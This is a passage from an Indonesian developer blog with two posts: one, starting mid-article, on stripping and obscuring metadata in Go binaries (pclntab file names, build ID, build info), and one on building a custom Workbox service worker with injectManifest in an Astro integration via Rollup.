###  4bb0e0 2f637075 2e70726f 63657373 4f707469  /cpu.processOpti
###  4bb0f0 6f6e7300 696e7465 726e616c 2f637075  ons.internal/cpu
###  4bb100 2e696e64 65784279 74650069 6e746572  .indexByte.inter
###  4bb110 6e616c2f 6370752e 646f696e 69740069  nal/cpu.doinit.i
###  4bb120 6e746572 6e616c2f 6370752e 69735365  nternal/cpu.isSe
###  4bb130 7400696e 7465726e 616c2f63 70752e63  t.internal/cpu.c
###  4bb140 70756964 00696e74 65726e61 6c2f6370  puid.internal/cp
###  4bb150 752e7867 65746276 00696e74 65726e61  u.xgetbv.interna
###  4bb160 6c2f6370 752e6765 74474f41 4d443634  l/cpu.getGOAMD64
###  ...

Terlihat bahwa .gopclntab juga menampung informasi nama file source code. Ini adalah salah satu penyebab mengapa bila saya menjalankan aplikasi test, saya masih tetap menjumpai output lokasi file yang akurat walaupun saya sudah menghapus DWARF dan symbol table (dengan -ldflags="-w -s").

Kabar buruknya adalah tidak ada flag untuk menghilang section .gopclntab. Dan seandainya saja saya berhasil menghapus .gopclntab, berdasarkan informasi dari https://github.com/golang/go/issues/36555, beberapa fitur dari Go yang menggunakan runtime.Callers akan berhenti bekerja. Sebagai gantinya, Go menawarkan -trimpath untuk menghapus informasi lokasi folder secara penuh. Sebagai contoh, saya dapat menggunakan seperti pada perintah berikut ini:

Terminal window

go build -ldflags="-w -s" -trimpath

Sekarang, bila saya menjalankan aplikasi, saya akan mendapatkan hasil seperti berikut ini:

Terminal window

./test

### OUTPUT:
###
### goroutine 1 [running]:
### runtime/debug.Stack()
###   runtime/debug/stack.go:24 +0x65
### runtime/debug.PrintStack()
###   runtime/debug/stack.go:16 +0x19
### main.main()
###   test/main.go:10 +0x3b
### panic: This error is raised on purpose
###
### goroutine 1 [running]:
### main.main()
###   test/main.go:11 +0x53

Nama file pada hasil sebelumnya /tmp/test/main.go kini menjadi lebih singkat seperti /test/main.go. Ini akan membantu mengurangi jumlah informasi yang di-ekspos.

Bila ini tidak cukup, saya juga dapat menerapkan teknik obfuskasi. Sebagai contoh, saya menambahkan fitur ini di jch-metadata yang bisa dijalankan dengan perintah seperti berikut ini:

Terminal window

jch-metadata -f test -a clear

Kode program jch-metadata akan menggunakan package bawaan debug/gosym untuk membaca Go Runtime Symbol Information. Kode program-nya dapat dilihat di https://github.com/JockiHendry/jch-metadata/blob/bbf5e1ac28ac26aae72e4c10807aebb02fbaa0b7/internal/parser/elf/elf.go. Sekarang, bila saya menjalankan test, saya akan memperoleh hasil seperti berikut ini:

Terminal window

./test

### OUTPUT:
###
### goroutine 1 [running]:
### runtime/debug.Stack()
###   nvkyjkzjdtunerqsdszxxg:24 +0x65
### runtime/debug.PrintStack()
###   nvkyjkzjdtunerqsdszxxg:16 +0x19
### main.main()
###   ikazoljjewsq:10 +0x3b
### panic: This error is raised on purpose
###
### goroutine 1 [running]:
### main.main()
###   ikazoljjewsq:11 +0x53

Build ID

Secara default, aplikasi yang dihasilkan oleh Go akan memiliki sebuah section dengan nama .note.go.buildid. Saya dapat melihat isinya dengan memberikan perintah seperti berikut ini:

Terminal window

objdump -s -j .note.go.buildid test

### OUTPUT:
###
###
### test:     file format elf64-x86-64
###
### Contents of section .note.go.buildid:
###  400f9c 04000000 53000000 04000000 476f0000  ....S.......Go..
###  400fac 50653536 65366b50 306b4173 7664306b  Pe56e6kP0kAsvd0k
###  400fbc 56777a6d 2f505076 4f553977 7461354d  Vwzm/PPvOU9wta5M
###  400fcc 78487971 54527556 572f4837 2d635f4f  xHyqTRuVW/H7-c_O
###  400fdc 5537456b 34514542 49634c48 47312f6e  U7Ek4QEBIcLHG1/n
###  400fec 476c5141 67474661 54525f43 69574648  GlQAgGFaTR_CiWFH
###  400ffc 50384100                             P8A.

Selain itu, saya juga dapat melihat nilai yang sama dengan menggunakan perintah go tool seperti berikut ini:

Terminal window

go tool buildid test

### OUTPUT:
### Pe56e6kP0kAsvd0kVwzm/PPvOU9wta5MxHyqTRuVW/H7-c_OU7Ek4QEBIcLHG1/nGlQAgGFaTR_CiWFHP8A

Setiap kali saya men-compile kode program yang sama, saya akan memperoleh build ID yang sama. Namun bukan hanya itu saja. Bila seandainya salah satu dari build tool yang saya pakai berubah, misalnya versi Go yang berbeda, biarpun kode program-nya sama, aplikasi yang dihasilkan akan memiliki build ID yang berbeda.

Sama seperti .gopclntab, tidak ada flag dari Go untuk menghapus section .note.go.buildid. Bila saya menggunakan jch-metadata -f test -a clear seperti di bagian sebelumnya, nilai Build ID akan itu di-acak.

Build Info

Aplikasi yang dibuat dengan Go juga memiliki section dengan nama .go.buildinfo. Section ini berisi informasi seperti versi Go dan flag yang dipakai saat melakukan building. Selain itu, bila kode program yang di-build dikelola oleh VSC seperti Git, nilai hash Git yang aktif saat melakukan building juga akan turut disimpan di section ini. Sebagai contoh, saya dapat melihat isi section ini dengan menggunakan perintah seperti berikut ini:

Terminal window

objdump -s -j .go.buildinfo test

### OUTPUT:
###
### test:     file format elf64-x86-64
###
### Contents of section .go.buildinfo:
###  512000 ff20476f 20627569 6c64696e 663a0802  . Go buildinf:..
###  512010 00000000 00000000 00000000 00000000  ................
###  512020 08676f31 2e31392e 34b30230 77af0c92  .go1.19.4..0w...
###  512030 74080241 e1c107e6 d618e670 61746809  t..A.......path.
###  512040 74657374 0a6d6f64 09746573 74092864  test.mod.test.(d
###  512050 6576656c 29090a62 75696c64 092d636f  evel)..build.-co
###  512060 6d70696c 65723d67 630a6275 696c6409  mpiler=gc.build.
###  512070 2d747269 6d706174 683d7472 75650a62  -trimpath=true.b
###  512080 75696c64 0943474f 5f454e41 424c4544  uild.CGO_ENABLED
###  512090 3d310a62 75696c64 09474f41 5243483d  =1.build.GOARCH=
###  5120a0 616d6436 340a6275 696c6409 474f4f53  amd64.build.GOOS
###  5120b0 3d6c696e 75780a62 75696c64 09474f41  =linux.build.GOA
###  5120c0 4d443634 3d76310a 6275696c 64097663  MD64=v1.build.vc
###  5120d0 733d6769 740a6275 696c6409 7663732e  s=git.build.vcs.
###  5120e0 72657669 73696f6e 3d326439 33613762  revision=2d93a7b
###  5120f0 33363034 36636132 64363966 65396232  36046ca2d69fe9b2
###  512100 66363964 37646436 64653166 38663463  f69d7dd6de1f8f4c
###  512110 380a6275 696c6409 7663732e 74696d65  8.build.vcs.time
###  512120 3d323032 342d3036 2d323854 30393a34  =2024-06-28T09:4
###  512130 353a3038 5a0a6275 696c6409 7663732e  5:08Z.build.vcs.
###  512140 6d6f6469 66696564 3d747275 650af932  modified=true..2
###  512150 43318618 20720082 42104116 d8f20000  C1.. r..B.A.....

Data yang ada di section .go.buildinfo ini dapat dibaca di aplikasi melalui package runtime/debug seperti pada contoh berikut ini:

func main() {
  info, ok := debug.ReadBuildInfo()
  if !ok {
    fmt.Println("Gagal membaca build info!")
  }
  versi := "(tidak jelas)"
  tanggal := "(tidak jelas)"
  for _, v := range info.Settings {
    if v.Key == "vcs.revision" {
      versi = v.Value
    } else if v.Key == "vcs.time" {
      tanggal = v.Value
    }
  }
  fmt.Printf("Versi aplikasi: %s\n", versi)
  fmt.Printf("Dibuat pada tanggal: %s\n", tanggal)
}

// OUTPUT:
//
// Versi aplikasi: 2d93a7b36046ca2d69fe9b2f69d7dd6de1f8f4c8
// Dibuat pada tanggal: 2024-06-28T09:45:08Z

Sama seperti section .go lainnya, saya tidak menemukan fitur bawaan Go untuk tidak menyertakan section ini di aplikasi yang dihasilkan. Namun, bila tidak ingin menyertakan informasi VCS di Build Info, saya dapat menambahkan flag -buildvcs=false seperti pada contoh berikut ini:

Terminal window

go build -ldflags="-w -s" -trimpath -buildvcs=false

./test

## OUTPUT:
##
## Versi aplikasi: (tidak jelas)
## Dibuat pada tanggal: (tidak jelas)

Memakai Workbox injectManifest di Astro

Mon, 03 Jun 2024 00:00:00 GMT

Workbox adalah library dari tim Chrome untuk mempermudah menulis kode program di Service Worker. Ini bisa membantu mengurangi bug dan menerapkan berbagai strategi caching dengan mudah. Sebagai contoh, Workbox secara bawaan sudah dilengkapi dengan strategi seperti StaleWhileRevalidate, CacheFirst, NetworkFirst, NetworkOnly, dan CacheOnly. Untuk menggunakan Workbox di Astro juga cukup mudah, saya hanya perlu menambahkan plugin astrojs-service-worker dan hasil akhirnya sudah menggunakan Service Worker.

Plugin astrojs-service-worker menggunakan method generateSW() dari modul workbox-build untuk menghasilkan file JavaScript yang berisi kode program Service Worker. Secara default, kode program yang dihasilkan akan selalu memakai strategi CacheFirst. Bagaimana bila saya ingin sesuatu yang lebih fleksibel? Saya bisa menulis sendiri kode program Service Worker dan menggunakan injectManifest() untuk menyisipkan daftar file yang perlu di-cache secara otomatis. Namun berhubung astrojs-service-worker belum mendukung injectManifest(), saya perlu membuat plugin integration lokal baru di proyek Astro saja.

Membuat integrasi lokal Di Astro

Integration adalah konsep sejenis plugin di Astro. Selain dalam bentuk npm package seperti pada umumnya, saya dapat membuat integration langsung di proyek yang sama. Sebagai contoh, saya akan membuat folder baru bernama integrations/serviceWorker di folder src dengan isi file seperti berikut ini:

Pada index.ts, saya dapat mendeklarasikan integration seperti pada contoh kode program berikut ini:

index.ts

const createPlugin = (): AstroIntegration => {
    return {
        name: "service-worker-integration",
        hooks: {
            "astro:config:setup": async({ config, injectScript, injectRoute, command, logger }) => {
                ...
            },
            "astro:build:done": async ({ dir, logger }) => {
                ...
            }
        },
    };
};

export default createPlugin;

Astro menyediakan beberapa hook menarik yang dapat saya pakai untuk mengerjakan kode program tertentu saat kondisi tertentu terjadi di Astro. Saya dapat melihat seluruh daftar hook yang tersedia di https://docs.astro.build/en/reference/integrations-reference/#hooks. Pada kode program di atas, saya hanya akan memakai astro:config:setup dan astro:build:done.

Hook astro:config:setup dikerjakan pada fase yang paling awal. Hook ini menyediakan function injectScript dan injectRoute yang akan saya gunakan seperti pada kode program berikut ini:

index.ts

const SW_NAME = "service-worker.js";
...
"astro:config:setup": async({ config, injectScript, injectRoute, command, logger }) => {
    logger.info('Injecting service worker loader script in every pages');
    const swPath = join(config.base, SW_NAME);
    injectScript("head-inline", `
        if ('serviceWorker' in navigator) {
            navigator.serviceWorker.register('${swPath}');
        }
    `);
    if (command === "dev") {
        injectRoute({
            pattern: swPath,
            entrypoint: "./src/integrations/serviceWorker/no-op-service-worker.js",
        });
    }

},
...

Pada kode program di atas, saya menggunakan injectScript() untuk menambahkan JavaScript di elemen <head> untuk setiap HTML untuk menjalankan kode service worker di /service-worker.js. Karena saya menggunakan head-inline, kode JavaScript ini akan ditambahkan begitu saja tanpa diproses oleh Vite bundler yang dipakai oleh Astro.

Berikutnya, saya memeriksa apakah command bernilai dev, misalnya pada saat dijalankan melalui astro dev. Pada lingkungan dev seperti ini, saya perlu mematikan Service Worker agar tidak menganggu proses live reload. Oleh sebab itu, saya mengubah isi /service-worker.js menjadi sesuai dengan isi no-op-service-worker.js yang terlihat seperti:

no-op-service-worker.js

const template = `
self.addEventListener('install', () => {
  self.skipWaiting();
});

self.addEventListener('activate', () => {
  self.clients.matchAll({
    type: 'window'
  }).then(windowClients => {
    windowClients.forEach((windowClient) => {
      windowClient.navigate(windowClient.url);
    });
  });
});
`

export async function GET() {
  const headers = new Headers();
  headers.append("content-type", "application/javascript;charset=utf-8");
  return new Response(template, { headers });
}

Saya perlu menambahkan kode Service Worker yang tidak melakukan apa-apa karena Service Worker yang telah di-install di sisi client akan tetap selalu ada walaupun file tersebut sudah dihapus dari sisi server. Bila saya hanya menghilangkan file service-worker.js saat dijalankan dengan astro dev, browser yang telah menjalankan Service Worker sebelumnya tetap akan menyajikan halaman dari cache.

Library Workbox

Workbox bersifat modular; seluruh daftar modul-nya dapat dilihat di https://developer.chrome.com/docs/workbox/modules/workbox-build. Untuk operasi umum yang biasanya selalu dipakai di Service Worker, saya dapat menggunakan workbox-core. Karena saya menggunakan Astro, saya bisa menambahkan Workbox lewat npm dengan perintah seperti berikut ini:

Terminal window

npm install workbox-core

Ini memungkinkan saya membuat kode program seperti:

service-worker.js

import { clientsClaim } from "workbox-core";
self.skipWaiting();
clientsClaim();

Untuk menambahkan strategi yang akan dipakai, saya perlu menggunakan modul workbox-strategies. Strategi ini tidak bisa jalan begitu saja, mereka perlu didaftarkan di rute dengan menggunakan registerRoute() yang disediakan oleh modul workbox-routing. Saya dapat menambahkan kedua modul tersebut dengan menggunakan kode program seperti berikut ini:

Terminal window

npm install workbox-routing workbox-strategies

Ini akan memungkinkan saya untuk membuat kode program seperti:

service-worker.js

import { registerRoute } from "workbox-routing";
import { NetworkFirst, StaleWhileRevalidate} from "workbox-strategies";
...
registerRoute(/.*\/blog$/, new NetworkFirst(), 'GET');
registerRoute(() => true, new StaleWhileRevalidate(), 'GET');

Bila ada file yang perlu di-cache terlebih dahulu (tanpa perlu menunggu di-akses oleh pengguna), saya dapat menggunakan modul workbox-precaching:

Terminal window

npm install workbox-precaching

Saya dapat menggunakan precache() seperti pada kode program berikut ini:

service-worker.js

import { precache, cleanupOutdatedCaches } from "workbox-precaching";
...
precache(self.__WB_MANIFEST);
cleanupOutdatedCaches();

Nilai self.__WB_MANIFEST pada kode program di atas adalah sesuatu yang unik. Nilai ini akan dimodifikasi secara otomatis nanti oleh injectManifest() yang akan menelusuri seluruh daftar aset yang tersedia. Lihat bagian workbox-build untuk informasi lebih lanjut mengenai injectManifest().

Sampai disini, kode program Service Worker yang saya pakai akan terlihat seperti berikut ini:

service-worker.js

import { clientsClaim } from "workbox-core";
import { precache, cleanupOutdatedCaches } from "workbox-precaching";
import { registerRoute } from "workbox-routing";
import { NetworkFirst, StaleWhileRevalidate} from "workbox-strategies";

self.skipWaiting();
clientsClaim();
registerRoute(/.*\/blog$/, new NetworkFirst(), 'GET');
registerRoute(() => true, new StaleWhileRevalidate(), 'GET');
precache(self.__WB_MANIFEST);
cleanupOutdatedCaches();

Pada kode program di atas, saya menggunakan strategi NetworkFirst untuk path /blog sehingga setiap mengunjungi halaman /blog, browser akan melakukan request HTTP ke server. Bila terjadi kesalahan, misalnya Internet sedang offline atau lambat, baru halaman dari pre-cache akan ditampilkan. Tujuannya supaya halaman yang berisi daftar blog selalu paling aktual.

Untuk halaman dengan path lainnya, saya menggunakan strategi StaleWhileRevalidate. Informasi lebih lanjut mengenai strategi ini dapat dilihat di https://developer.chrome.com/docs/workbox/modules/workbox-strategies#stale-while-revalidate. Pada dasar-nya, strategi StaleWhileRevalidate akan menampilkan halaman dari cache terlebih dahulu sambil melakukan request HTTP ke server untuk memperbaharui cache bila perlu.

workbox-build

Berbeda dari modul lainnya, workbox-build adalah modul npm yang berisi method generateSW() dan injectManifest() untuk dipanggil pada saat proses building (bukan eksekusi).

Bila saya ingin kode program Service Worker dihasilkan secara otomatis, saya perlu memanggil generateSW(). Ini yang dilakukan oleh plugin astrojs-service-worker. Sebagai contoh, kode generateSW({globDirectory: './dist', globPatterns: '**/*', swDest: './dist/service-worker.js'}) akan menghasilkan file service-worker.js di folder dist dengan kode program yang status. Kode program yang dihasilkan akan menggunakan precacheAndRoute() untuk melakukan operasi berikut ini ke seluruh aset yang ditemukan:

Meletakkan aset ke dalam cache bila belum ada.
Membuat route baru untuk aset dengan menggunakan strategi CacheFirst. Pada strategi ini, bila sebuah route sudah ada di cache, nilai dari cache akan dipakai. Sebaliknya, bila belum ada di-cache, maka request network ke server akan dilakukan.

Karena sudah punya file service-worker.js sendiri, saya hanya perlu menggunakan injectManifest() untuk meng-update self.__WEB_MANIFEST di file tersebut agar isinya selalu sama dengan kondisi aset terbaru. Sebagai contoh, bila saya memiliki baris dengan kode program:

service-worker.js

precache(self.__WB_MANIFEST);

injectManifest() akan mengubahnya sehingga terlihat seperti berikut ini:

service-worker.js

precache([{"revision":"1af8d67218dbe185ea4fcdf5c2248bf0","url":"_astro/Blog.iqt4wkWR.css"},{"revision":"b52f7dc08a43ce112df72b8507647ec0","url":"_astro/DOH.astro_astro_type_script_index_0_lang.D9RbuUoF.js"},{"revision":"acc1d7d65285d115720fa6bbedfb01ae","url":"_astro/ec.3zb7u.js"},{"revision":"bbd19486c1a8bdce1e563a5611301dd3","url":"_astro/ec.d65er.css"},{"revision":"4725ac07ce735aac9d4b7de3758e92eb","url":"sitemap-0.xml"},{"revision":"49e79b994e4200a79104df5170ddfede","url":"sitemap-index.xml"},{"revision":"768f003785bae3aa35e43d4421d65551","url":"tools/doh/index.html"},{"revision":"f79a2a3d22ab4dcad9647f24f4fec853","url":"tools/public-ip/index.html"},{"revision":"178424750f0f3d7bded8772243cf9c6b","url":"wordcloud.js"}...]);

Walaupun saya dapat menulis lokasi aset dan menghitung hash-nya secara manual satu per satu, hal ini sangat tidak disarankan karena rentan terhadap kesalahan.

Menggunakan Rollup

Perhatikan bahwa kode program service-worker.js yang saya buat memiliki perintah import ke modul npm. Ini tentu saja tidak bisa langsung dijalankan oleh browser. Saya perlu melakukan konfigurasi supaya file ini di-proses oleh bundler. Astro memakai Vite yang selanjutnya memakai Rollup sebagai bundler. Karena file service-worker.js ini berdiri sendiri (tidak direferensikan di index.html lewat <script>), saya bisa mem-proses-nya secara terpisah lewat Rollup API.

Untuk itu, saya akan menambahkan kode program berikut ini pada hook astro:build:done:

index.ts

import { nodeResolve } from '@rollup/plugin-node-resolve';
import { join } from "node:path";
import { fileURLToPath } from "node:url";
import { rollup } from 'rollup';
...

"astro:build:done": async ({ dir, logger }) => {
    const out = fileURLToPath(dir);
    const swSrc = join(out, "../src/integrations/serviceWorker/service-worker.js");
    const bundle = await rollup({
        input: swSrc,
        plugins: [
            nodeResolve(),
        ]
    });
    await bundle.write({
        dir: out,
        format: 'iife',
    });
    await bundle.close();
}

Kode program pada hook astro:build:done di atas akan dikerjakan saat proses build sudah selesai semuanya. Mengapa astro:build:done di tahap-tahap paling terakhir? Hal ini karena saya perlu mendapatkan daftar aset yang paling aktual. Bila saya mengerjakannya di astro:config:setup, beberapa proses seperti optimalisasi image belum dilakukan. Daftar aset yang saya jumpai adalah file gambar seperti *.png yang belum dioptimalkan menjadi *.webp oleh Astro. Saya juga akan menjumpai banyak file chunks yang bukan bagian dari hasil akhir web Astro.

Kode program di atas akan membaca file src/integrations/serviceWorker/service-worker.js dan menyisipkan kode program Workbox sebagai pegganti import. Perhatikan bahwa saya menggunakan nilai iife pada output.format agar JavaScript yang dihasilkan dapat dikerjakan oleh browser. Saya juga perlu menambahkan plugin nodeResolve() agar Rollup mencari setiap import di file service-worker.js di node-modules yang telah saya install sebelumnya.

Plugin `rollup-plugin-workbox`

Sampai disini, saya bisa memanggil injectManifest() secara manual. Namun, karena Rollup sudah menyediakan plugin rollup-plugin-workbox, saya hanya perlu menambahkan definisi plugin seperti berikut ini:

index.ts

import { injectManifest } from 'rollup-plugin-workbox';
...

"astro:build:done": async ({ dir, logger }) => {
    ...
    const swDest = join(out, "service-worker.js");
    ...
    const bundle = await rollup({
    input: swSrc,
    plugins: [
        nodeResolve(),
        injectManifest({
            swSrc,
            swDest,
            globDirectory: out,
            globPatterns: ["**/*"],
        }),
    ]
    });
    ...
}

Pada konfigurasi di atas, injectManifest() akan mencari file template Service Worker di swSrc dan menuliskan hasil yang sudah di-inject di swDest. Sampai disini, bila saya menjalankan perintah astro build dan astro preview, saya akan menemukan bahwa Service Worker sudah bekerja dengan baik.

Workbox menyediakan fasilitas logging ke console yang sangat berguna untuk troubleshooting. Namun, pada konfigurasi di atas, fitur logging tidak akan aktif. Bila saya ingin mengaktifkannya, saya dapat mengubah konfigurasi di atas menjadi seperti:

index.ts

import { injectManifest } from 'rollup-plugin-workbox';
...

"astro:build:done": async ({ dir, logger }) => {
    ...
    const swDest = join(out, "service-worker.js");
    ...
    const bundle = await rollup({
    input: swSrc,
    plugins: [
        nodeResolve(),
        injectManifest({
            swSrc,
            swDest,
            globDirectory: out,
            globPatterns: ["**/*"],
        },{
            esbuild: {
                minify: false,
            }
        }),
    ]
    });
    ...
}

Fitur ini akan mempermudah menelusuri bug di staging; laporan bug tanpa hasil logging seperti ini kadang akan sangat sulit direproduksi.